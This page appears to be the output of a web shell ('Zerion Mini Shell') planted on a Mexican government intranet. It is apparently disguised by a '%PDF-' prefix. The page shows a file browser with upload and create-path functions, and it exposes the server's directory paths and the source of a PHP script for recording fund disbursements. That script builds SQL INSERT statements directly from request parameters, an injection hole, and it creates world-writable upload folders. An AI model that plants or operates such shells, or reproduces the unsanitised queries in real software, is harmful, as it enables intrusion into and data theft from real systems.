%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/fondo/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/fondo/agregar_entrega.php

<?php

session_start();

include "conexion.php";

$_SESSION['expire'] = time() + (120 * 60);


$id_personal             =   isset($_REQUEST['id_personal']) ? $_REQUEST['id_personal'] : 0;
$cantidad             =   isset($_REQUEST['cantidad']) ? $_REQUEST['cantidad'] : 0;

$id_fondo =  isset($_REQUEST['id_fondo']) ? $_REQUEST['id_fondo'] : 0;
$observaciones =  isset($_REQUEST['observaciones']) ? $_REQUEST['observaciones'] : 0;
$oficio =  isset($_REQUEST['oficio']) ? $_REQUEST['oficio'] : 0;
$fecha_entrega             =   isset($_REQUEST['fecha_entrega']) ? $_REQUEST['fecha_entrega'] : '0000-00-00';
$cheque             =   isset($_REQUEST['cheque']) ? $_REQUEST['cheque'] : '0000-00-00';
$observaciones             =   isset($_REQUEST['observaciones']) ? $_REQUEST['observaciones'] : '';


$conf = new Configuracion();
$conf->conectarBD();


			
			$sql1 = "INSERT INTO tjam_empleados_fondos_entregas(id_fondo, cantidad, fecha_cheque, folio_cheque, oficio,observaciones) 
		    	VALUES ($id_fondo,'$cantidad','$fecha_entrega','$cheque','$oficio','$observaciones');";

$id_movimiento = $conf->ultimo_id($sql1);


insertaImagen($id_movimiento, $conf);



$conf->desconectarDB();
header("Location: page_detalles_entregas.php?id_fondo=$id_fondo");

function insertaImagen($id_movimiento, $conf) {

	$fileNames = array_filter($_FILES['files']['name']);

	if (count($fileNames) > 0) {

		foreach ($_FILES['files']['name'] as $key => $val) {

			$file_name = basename($_FILES['files']['name'][$key]);
			$extension = pathinfo($_FILES['files']['name'][$key], PATHINFO_EXTENSION);

			$ext_formatos = array('png', 'gif', 'jpg', 'jpeg', 'pdf');
			$_FILES['files']["size"][$key];

			if (!in_array(strtolower($extension), $ext_formatos))
				return;
			if ($_FILES['files']["size"][$key] > 33000300800)
				return;
			
			$dia  = date("d");
			$mes  = date("m");
			$anio = date("Y");
			$targetDir = "../oficios_pdf/$anio/$mes/$dia/";

			@rmdir($targetDir);
			if (!file_exists($targetDir)) {
				@mkdir($targetDir, 0777, true);
			}

			$token = md5(uniqid(rand(), true));
			$file_name = $token . '.' . $extension;
			$add = $targetDir . $file_name;
			$db_url_img = "$anio/$mes/$dia/$file_name";

			if (move_uploaded_file($_FILES['files']["tmp_name"][$key], $add)) {

				$insertar = "INSERT INTO tjam_empleados_fondos_entregas_docs (id_entrega, url_pdf)
                                 VALUES ('$id_movimiento','$db_url_img')";
				$conf->actualizacion($insertar);
			}
		}
	}
}
?>

Zerion Mini Shell 1.0